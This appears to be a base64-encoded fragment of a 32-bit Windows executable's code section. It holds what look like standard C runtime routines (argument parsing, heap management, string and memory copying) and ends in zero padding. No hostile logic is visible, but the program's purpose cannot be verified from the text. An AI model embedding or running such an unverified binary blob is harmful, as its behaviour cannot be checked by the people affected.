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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 